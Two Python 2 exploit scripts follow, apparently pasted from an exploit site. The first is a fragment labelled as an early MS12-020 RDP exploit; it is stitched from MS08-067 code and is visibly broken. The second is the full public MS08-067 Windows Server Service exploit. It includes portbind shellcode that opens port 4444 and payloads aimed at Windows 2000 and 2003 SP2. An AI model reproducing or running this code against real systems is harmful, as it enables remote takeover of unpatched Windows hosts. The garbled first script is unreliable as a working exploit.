payload += '\x41\x6b\x70\x7a\x53\x6e\x4a\x69\x6e\x32\x62\x46\x4d\x6b\x4e\x70'
payload += '\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e'
payload += '\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73'
payload += '\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61'
payload += '\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78'
payload += '\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e'
payload += '\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30'
payload += '\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b'
payload += '\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b'
payload += '\x4f\x69\x46\x4b\x4f\x6e\x30\x68';

class SRVSVC_Exploit(Thread):
def __init__(self, target, port=3389):
super(SRVSVC_Exploit, self).__init__()
self.__port   = port
self.target   = target

def __DCEPacket(self):
print '[-]Connecting'
self.__trans = rdp.transport.cert('rdp_np:%s\\x00\\x89]' % self.target)
self.__trans.connect()
print '[-]connected' % self.target

# Making teh packet
self.__stub='\x01\x00\x00\x00'
self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
self.__stub+=shellcode
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
self.__stub+=payload
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
self.__stub+='\x01\x00\x00\x00\x90\x90\xb0\x53\x6b\xC0\x28\x03\xd8\xff\xd3'
return

def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
print '[-]Exploit successfull!...\nTelnet to port 4444 on target machine.'

if __name__ == '__main__':
target = sys.argv[1]
print '\nUsage: %s <target ip> \n' % sys.argv[0]
sys.exit(-1)

current = SRVSVC_Exploit(target)
current.start()

早期ms12-020 exp py

====================================================================
MS Windows Server Service Code Execution Exploit (MS08-067) (2k/2k3)
====================================================================

#!/usr/bin/env python
#############################################################################
#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
#   www.hackingspirits.com
#   www.coffeeandsecurity.com
#   Email: d3basis.m0hanty @ gmail.com
#############################################################################

import struct
import sys

from threading import Thread    #Thread is imported incase you would like to modify
#the src to run against multiple targets.

try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1)

print '#######################################################################'
print '#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'
print '#   www.hackingspirits.com'
print '#   www.coffeeandsecurity.com'
print '#   Email: d3basis.m0hanty @ gmail.com'
print '#######################################################################\n'

#Portbind shellcode from metasploit; Binds port to TCP port 4444
shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"

#Payload for Windows 2000 target
payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41'
payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\xeb\xcc'
payload_1+='\x00\x00'

#Payload for Windows 2003[SP2] target
payload_2='\x41\x00\x5c\x00'
payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'
payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'
payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'
payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'
payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'
payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'
payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'
payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'
payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'

if sys.argv[2]=='1':    #Windows 2000 Payload
payload=payload_1
print '[-]Windows 2000 payload loaded'
if sys.argv[2]=='2':    #Windows 2003[SP2] Payload
payload=payload_2
print '[-]Windows 2003[SP2] payload loaded'

class SRVSVC_Exploit(Thread):
def __init__(self, target, osver, port=445):
super(SRVSVC_Exploit, self).__init__()
self.__port   = port
self.target   = target
self.osver   = osver

def __DCEPacket(self):
print '[-]Initiating connection'
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

# Constructing Malicious Packet
self.__stub='\x01\x00\x00\x00'
self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
self.__stub+=shellcode
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
self.__stub+=payload
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
self.__stub+='\x01\x00\x00\x00'
return

def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)   #0x1f (or 31)- NetPathCanonicalize Operation
print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'

if __name__ == '__main__':
try:
target = sys.argv[1]
osver = sys.argv[2]
except IndexError:
print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0]
print 'Example: srvsvcexpl.py 192.168.1.1 2\n'
print 'Select OS Version'
print '[-]Windows 2000: OS Version = 1'
print '[-]Windows 2003[SP2]: OS Version = 2'

sys.exit(-1)

current = SRVSVC_Exploit(target, osver)
current.start()
#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'